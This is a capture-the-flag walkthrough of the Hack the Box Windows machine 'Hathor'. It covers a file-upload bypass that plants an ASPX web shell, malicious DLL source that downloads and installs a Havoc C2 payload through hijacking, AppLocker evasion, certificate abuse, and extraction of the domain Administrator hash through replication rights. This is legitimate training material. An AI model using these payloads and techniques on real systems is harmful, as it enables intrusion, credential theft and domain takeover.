Hack the Box Walkthroughs: Hathor

Hathor from Hack the Box was an Insane Windows machine that involves exploiting a misconfigured file upload, then identifying credentials in log files, before performing some DLL hijacking and finally, abusing an account with replication rights to obtain the administrator's password hash.

Hack the Box Walkthroughs: Hathor

Hello folks. Welcome back to another Hack the Box write-up. This time we're going over Hathor, an Insane difficulty box that had some really interesting, albeit frustrating, attack paths. The target Operating System is Windows, which I much prefer attacking to Linux nowadays! This was actually the first Insane machine that I managed to finish while it was active, rather than just following through with help from the mighty Ippsec and making notes. To put it into perspective, it took roughly 20 hours I would say of actual working time, spent over 4 days with 5 hours per day put into each. This was genuinely how long it took, despite obtaining hints here and there from forum or discord posts. It made me realise that I'm not quite ready for this level of box difficulty, nor do I currently have the time, but once I'd got halfway through I was desperate to finish it! The box revolves around first exploiting a misconfigured file upload, then identifying credentials in log files, before performing some DLL hijacking, and finally, abusing an account with replication rights to perform account replication and obtain the Administrator's NTLM hash.

Anyway, enough chatting. Let's get started with this ridiculously fun creation from Hack the Box - Hathor!


We'll start off with a Nmap scan. It may take some time to run so I've alreaaaaady run it... (I hear this in my sleep, thanks Ippsec)! Immediately we notice that ports 53, 88, and 389 are open, which is generally indicative of a Domain Controller. These ports provide DNS, Kerberos, and LDAP.

Initial Nmap Scan

With knowledge of open ports, I'll perform a more aggressive scan to fingerprint services. Snipped for brevity.

Aggressive Nmap Scan

Some interesting things to note here:

  • A web server on port 80 is hosting a website called mojoPortal.
  • The hostname is leaked so we can modify our /etc/hosts file. It's hathor.windcorp.htb.

We'll handle the latter now.

Modifying our /etc/hosts to resolve the IP to a hostname

Let's start by looking at the website.

IIS Server

Traversing to the webpage just shows that the website is under construction. There is a login button on the bottom right that takes us to /Secure/Login.aspx. A quick Google shows that there are default credentials in place for mojoPortal.

Finding Default Credentials

Attempting to log in with these is successful and we now have access to the administrative portion of the website. The first thing to note is the File Manager area. This is often an interesting place to review for potential file upload exploits, and given the page is serving aspx files, it may be possible to upload a web shell in certain circumstances. I'll start by just trying to upload a aspx file and checking whether it's rejected.

cp /usr/share/webshells/aspx/cmdasp.aspx cmd.aspx
aspx Upload Error

I'll gently play about with it in Burp, modifying the filename to cmdasp.txt to get past the client-side checks. The general idea here is to see if the protections are applied only on the client-side, and not the server side. However, even after modifying a request that succeeded to try to send anything with .aspx on the end, the upload fails. Thus, I determine there's likely a whitelist in place to check the file extension. Since mojoPortal is open source and written in C#/ASP.NET, let us have a quick peek in VSCode to see if we can find some sort of configuration that show what is allowed.

GitHub - i7MEDIA/mojoportal: mojoPortal is an extensible, cross database, mobile friendly, web content management system (CMS) and web application framework written in C# ASP.NET.
mojoPortal is an extensible, cross database, mobile friendly, web content management system (CMS) and web application framework written in C# ASP.NET. - GitHub - i7MEDIA/mojoportal: mojoPortal is a...

The request to upload a file is a POST to /fileservice/fileupload?t=72ce0725-ab1e-49d1-86fc-337d16a710bd. The UID on the end changes every request. Initially, I focus on the Web.config file and look for any sort of whitelist. There is an interesting one that stands out:

<add key="AllowedUploadFileExtensions" value=".gif|.jpg|.jpeg|.png|.svg|.flv|.swf|.wmv|.mp3|.mp4|.m4a|.m4v|.oga|.ogv|.webma|.webmv|.webm|.wav|.fla|.tif|.asf|.asx|.avi|.mov|.mpeg|.mpg|.zip|.pdf|.doc|.docx|.xls|.xlsx|.ppt|.pptx|.pps|.csv|.txt|.htm|.html|.xml|.xsl|.css" />

As a quick test, I try to upload a .asx file and this gets accepted. I can then download it from the htmlfragments folder that I uploaded it in.

File Manager Image

If we right-click, we can download it. I wanted to next find out if there was an accessible directory to which uploaded files are stored, which would be vital if we were to be able to upload something malicious. Looking over the code, I just searched first for htmlfragments. In the HtmlFragmentInclude.ascx.cs file there is the following code:

if (WebConfigSettings.HtmlFragmentUseMediaFolder)
                includePath = HttpContext.Current.Server.MapPath(WebUtils.GetApplicationRoot()
                + "/Data/Sites/" + siteSettings.SiteId.ToInvariantString() + "/media/htmlfragments");

I'll take a wild guess that the siteId is going to be numerical and attempt to access my uploaded cmdasp.asx file.

File Storage Location

Excellent, we now have an idea of where files are stored. The final piece of the puzzle is getting a malicious aspx file uploaded. Going back to the original list of allowed extensions, I noticed .zip is allowed. This is interesting, as the site allows you to extract files. Therefore, my first idea was to upload a zip file with a aspx shell in it and extract it, hoping the shell remained on the system. The ExtractItems function in FileController.cs doesn't seem to provide any validation aside from a ToCleanFileName function.

ExtractItems function

The validation essentially just clears special characters, whilst the ToCleanFolderName function removes . as well, probably trying to prevent zip slip attacks. I'll try to upload the classic InsomniaShell aspx webshell from Insomnia.


We'll zip up the shell and include a text file to see if they're all extracted correctly.

└─$ zip test.zip test.txt InsomniaShell.aspx 
  adding: test.txt (stored 0%)
  adding: InsomniaShell.aspx (deflated 83%)

Then we upload test.zip and try to extract it.

Uploaded test.zip File

Now we'll extract it and hopefully see our aspx shell...


Dammit. No aspx file got extracted. Just our dummy .txt file! Let's go back to the source code. The extract function had nothing related to deleting or removing files based on extensions, so what did I miss? Examining the ListAllFilesFolders function, I notice something interesting. It loops over each file in the folder and runs some checks.

foreach (var file in files)
		if ((type == "image") && !file.IsWebImageFile())
		{ continue; }
		if ((type == "media" || type == "audio" || type == "video") && !file.IsAllowedMediaFile())
		{ continue; }
		if ((type == "audio") && !file.IsAllowedFileType(WebConfigSettings.AudioFileExtensions))
		{ continue; }
		if ((type == "video") && !file.IsAllowedFileType(WebConfigSettings.VideoFileExtensions))
		{ continue; }
		if ((type == "file") && !file.IsAllowedFileType(allowedExtensions))
		{ continue; }
		file.ContentType = "file";
	return new { result = folders.Concat(allowedFiles) };

The code above essentially goes over the files and ascertains if it is in the allowed list of file types. When the page is loaded, the following if statement runs in the LoadSettings function. This populates the allowedFiles variable.

if (WebUser.IsAdminOrContentAdmin || SiteUtils.UserIsSiteEditor() || WebUser.IsInRoles(siteSettings.GeneralBrowseAndUploadRoles + siteSettings.GeneralBrowseRoles))
		allowedExtensions = WebConfigSettings.AllowedUploadFileExtensions;

Right, I get it now. I think. So maybe our file was uploaded, but it's prohibited from being LISTED when we load the file manager list. There's an easy way to find out. We can view the test.txt file at:


And going to:


We get a web shell!

WebShell Achieved

So, to recap:

  • The zip file gets extracted and the file does successfully remain,
  • The function to list files emits anything that doesn't have an allowed extension.
  • The remediation here would be to add extra validation to the extraction function to perform the check on extensions there, rather than when the files are listed!

Let's move forward.

Note: Having read some other writeups, it seems that the intended path was to use the copy function and rename the request in burp. Damn. Overkill alert 🍒

Shell 1

We simply put our IP and port in, stand up a Netcat listener and then catch a shell.

Initial Shell

In the root directory, there is a bADpasswords folder. Within this, a bADpasswords.ps1 file. I'll copy it over to Kali and also download the official one on Github.

GitHub - improsec/Get-bADpasswords: Get insights into the actual strength and quality of passwords in Active Directory.
Get insights into the actual strength and quality of passwords in Active Directory. - GitHub - improsec/Get-bADpasswords: Get insights into the actual strength and quality of passwords in Active Di...

If we try to identify differences between the two files, something sticks out. In the one on the box, it appears that logging is enabled.

#IMPORTANT: If resetPwd is enabled, the users password will be changed to a random password.
#That password are logged in logfile, so remember to delete the logs.

$resetPwd = $false 
$removeNoExpire = $false
$changePassLogon = $false

$log_filename  = ".\Accessible\Logs\log_$domain_name-$current_timestamp.txt"
$csv_filename  = ".\Accessible\CSVs\exported_$domain_name-$current_timestamp.csv"

$write_to_log_file = $true
$write_to_csv_file = $true
$write_hash_to_logs = $true

Browsing the logs in c:\Get-bADpasswords\Accessible\CSVs reveals a password hash for BeatriceMill.

Activity;Password Type;Account Type;Account Name;Account SID;Account password hash;Present in password list(s)

Sticking it into Crackstation gives us credentials.

Cracked Password BeatriceMill

We now have seemingly useful credentials! BeatriceMill:!!!!ilovegood17. However, attempts to connect via WinRM and SMB fail - Presumedly because NTLM authentication is disabled. The next step, usually, would be to attempt to gain access to BeatriceMill by requesting a TGT over Kerberos (Using something like Impacket's getTGT.py). Interestingly, I came across an interesting aspx web shell modification that another user on the box had used that lets you impersonate other users. I rewrote it slightly and will link it here. Essentially, we'll use the standard Win32API LogonUser to obtain a handle for a token for a different user than the one running the service.  Then when we call the CallbackShell function, we'll spawn a process using a copy of the newly created token. That is a majorly simplified example, but uploading the new linked web shell (after changing IP and port) will callback as BeatriceMill instead of the Web user! We'll have to perform the same zip file upload attack to access it as previously discussed.

Shell as BeatriceMill

Shell 3

As BeatriceMill, when arriving on the target, the first thing we'll notice is that Applocker is in use. This prohibits us from executing executable files based on rules specified in the Applocker configuration.

Furthermore, we can now access the C:\Share folder which contains two files and one additional folder:

  • AutoIt3_x64.exe
  • Bginfo64.exe
  • C:\Share\Scripts

I immediately notice that within the C:\Share\Scripts folder, there is a 7-zip64.dll file. This file is modifiable by the BUILTIN\Users group.

7-zip64.dll File Permissions

This, therefore, presents an opportunity to perform a DLL hijacking attack. In my original run-through, I used a custom Process Hollower executable from the OSEP course as my payload. However, with the recent release of Havoc, let's give that a try. First, we'll need to create a malicious DLL. What I initially want to know is the following:

  • Is there a script auto-executing a binary that requires 7-zip64.dll, thus it will be regularly triggered?
  • Who is executing that script? This is the context we'd assume the identity of after.

I'll use the following DLL to ascertain this information. It simply will create a text file with the username that ran it.

// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
    	system("echo zzzz > C:\\Windows\\Temp\\%USERNAME%.txt");
    return TRUE;

After compiling, we'll transfer it to the target and replace the 7-zip64.dll with it.

curl -o C:\Windows\Tasks\test.dll
copy C:\Windows\Tasks\test.dll C:\Share\scripts\7-zip64.dll /Y
del c:\windows\tasks\test.dll

A few minutes later, we can see the following from GinaWild in the C:\Windows\Temp directory.

GinaWild.txt File

Since we're up against AppLocker, we'll need to use a malicious binary that is allowed to be executed. This means we cannot just transfer a demon and have it run. Looking at the Applocker Policy, there's an interesting allowance.

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
AppLocker Rule Allowing Bginfo64.exe

Therefore, our workflow will be to replace Bginfo64.exe with a malicious demon and then wait for the DLL hi-jack to commence, hopefully sending back a shell to our team server as GinaWild. We need to check that there are sufficient permissions for Gina to replace the Bginfo64.exe file, as Beatrice does not have the required level of authorization.

Checking Bginfo64 Permissions

Here can see that Gina is part of the ITDep group, who have Read, Execute, and Write Owner permissions over the file. So the attack should be able to commence! Let's spin up Havoc and create a demon.

sudo ./teamserver server --profile ./profiles/havoc.yaotl

Remember to set up your havoc profile with your Hack the Box IP and the listening port you want! We'll then go to Attack -> Payload -> Generate and save it locally as demon.exe. Then, we'll create a new malicious DLL. This will take ownership of the C:\Share\Bginfo64.exe file, grant full permissions to it, and then copy the demon into its place. Finally, we'll execute it.

// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
    	system("takeown /f C:\\Share\\Bginfo64.exe && icacls C:\\Share\\Bginfo64.exe /grant Everyone:F /T /C");
    	system("curl -o C:\\Windows\\Tasks\\demon.exe && copy C:\\Windows\\Tasks\\demon.exe C:\\Share\\Bginfo64.exe /Y");
    return TRUE;

We'll compile it and then send it over to the target.

x86_64-w64-mingw32-gcc test.c  -shared -o test.dll
curl -o C:\Windows\Tasks\test.dll
copy C:\Windows\Tasks\test.dll C:\Share\scripts\7-zip64.dll /Y
del c:\windows\tasks\test.dll

After a few minutes, we land a (few) demons!

Obtained Demons as GinaWild

We can now get user.txt.

Obtaining user.txt as GinaWild

Shell 4

With our new access, I start the standard enumeration again. In the $Recycle.Bin folder, I notice a .pfx file.

Finding $RLYS3KF.pfx

A .pfx file is a Personal Exchange Format file. It is used to blend public and private keys into one file. John the Ripper has a module for attempting to crack passwords from this filetype. I'll download it using my demon and then run it through pfx2john and try to crack it.

pfx2john file.pfx > file.hash
Converting the pfx to a format John understands
Cracking the Password

We'll now add the pfx to our certificate store.

shell copy c:\\$Recycle.Bin\\S-1-5-21-3783586571-2109290616-3725730865-2663\\$RLYS3KF.pfx mycert.pfx
powershell $Secure_String_Pwd = ConvertTo-SecureString "abceasyas123" -AsPlainText -Force; Import-PfxCertificate -FilePath "mycert.pfx" -CertStoreLocation Cert:\CurrentUser\My -Password $Secure_String_Pwd
Adding the Certificate to our Certificate Store

But what's all this for? Well, thinking back to the start of the box, we know there was a script that essentially runs and checks the domain for weak passwords (bADPasswords.ps1). Consider for a moment, how is this possible? The user running this script needs to be able to access the NTDS.dit to view the passwords of the users in order for it to succeed. If we dive into the script, we'll notice that it uses Get-ADReplAccount to perform domain replication. There is a user on the box called bpassrunner, probably indicating that it's this user that is performing the task. If we try to run the script as Gina, we see there is an error about not having a valid certificate.

Invalid Certificate

However, if we then use the certificate we obtained to sign the PowerShell file, it can be run. It's also modifiable by the ITDep team. So I'll echo C:\Share\BgInfo64.exe into the Get-bADpasswords.ps1 file, so the next time it gets run, it'll trigger a demon as the executing user. Then, if we run the run.vbs file, it'll create an event which gets added to a list of batch jobs to be run by the relevant user.

run.vbs Contents

So we'll pull it all together into one big PowerShell command, as I'm not sure how Havoc works in terms of starting a new PowerShell process and persisting, but I assume it's not going to be keeping everything from previous between commands. Remember, we'll overwrite Get-bADpasswords.ps1 with C:\Share\BgInfo64.exe which is our demon. We'll add the certificate to our store with the password we cracked, then sign the Get-bADpasswords.ps1 script before executing the run.vbs script, which should create an event to be executed by the bpassrunner account.

powershell $Secure_String_Pwd = ConvertTo-SecureString "abceasyas123" -AsPlainText -Force; Import-PfxCertificate -FilePath "c:\Windows\temp\mycert.pfx" -CertStoreLocation Cert:\CurrentUser\My -Password $Secure_String_Pwd; $cert = @(Get-ChildItem cert:\CurrentUser\My -codesigning)[0] ;Set-AuthenticodeSignature Get-bADpasswords.ps1 $cert; cscript run.vbs

After a few seconds, it successfully sends back a shell as bpassrunner!

Shell as bpassrunner

Shell 5

Now we have access to an account that has Replication Rights, we can just mimic some of the functionality from the Get-bADpasswords.ps1 file to get the administrator's hash. Within the code, we can see that it runs the Get-ADReplAccount cmdlet.

Get-ADReplAccount -SamAccountName "Administrator" -Server windcorp.htb

Note: I had issues running this in the demon, for whatever reason! So if it's not working, consider switching over to a vanilla Netcat shell and starting a proper PowerShell session!

Getting root.txt!

This will output the NTLM hash of the Administrator account. It's listed under the NTHash header, along with all their previous passwords! From there, we'll use the hash in combination with Impacket's getTGT to obtain a valid TGT for the target as the Administrator. We'll then set that to our local KRB5CCNAME variable and use it with Impacket's wmi-exec to get a shell, and the root flag!

Root.txt Obtained!

Concluding Thoughts

Many thanks for reading this write-up of Hathor from Hack the Box! If anything did not make sense, or it was poorly explained, I highly recommend watching Ippsec or reading 0xdf's blog, as they're far smarter than me and will be able to make it much clearer I'm sure! You can also contact me on Discord at heartburn#7998 or on my Linkedin!

I've recently started as an Offensive Security Consultant at a large consultancy, so my posts will be continuing to trickle in when I get time. I'd like to blog more, but I'm struggling to balance everything in life at the moment and trying to avoid burnout! So, until next time folks!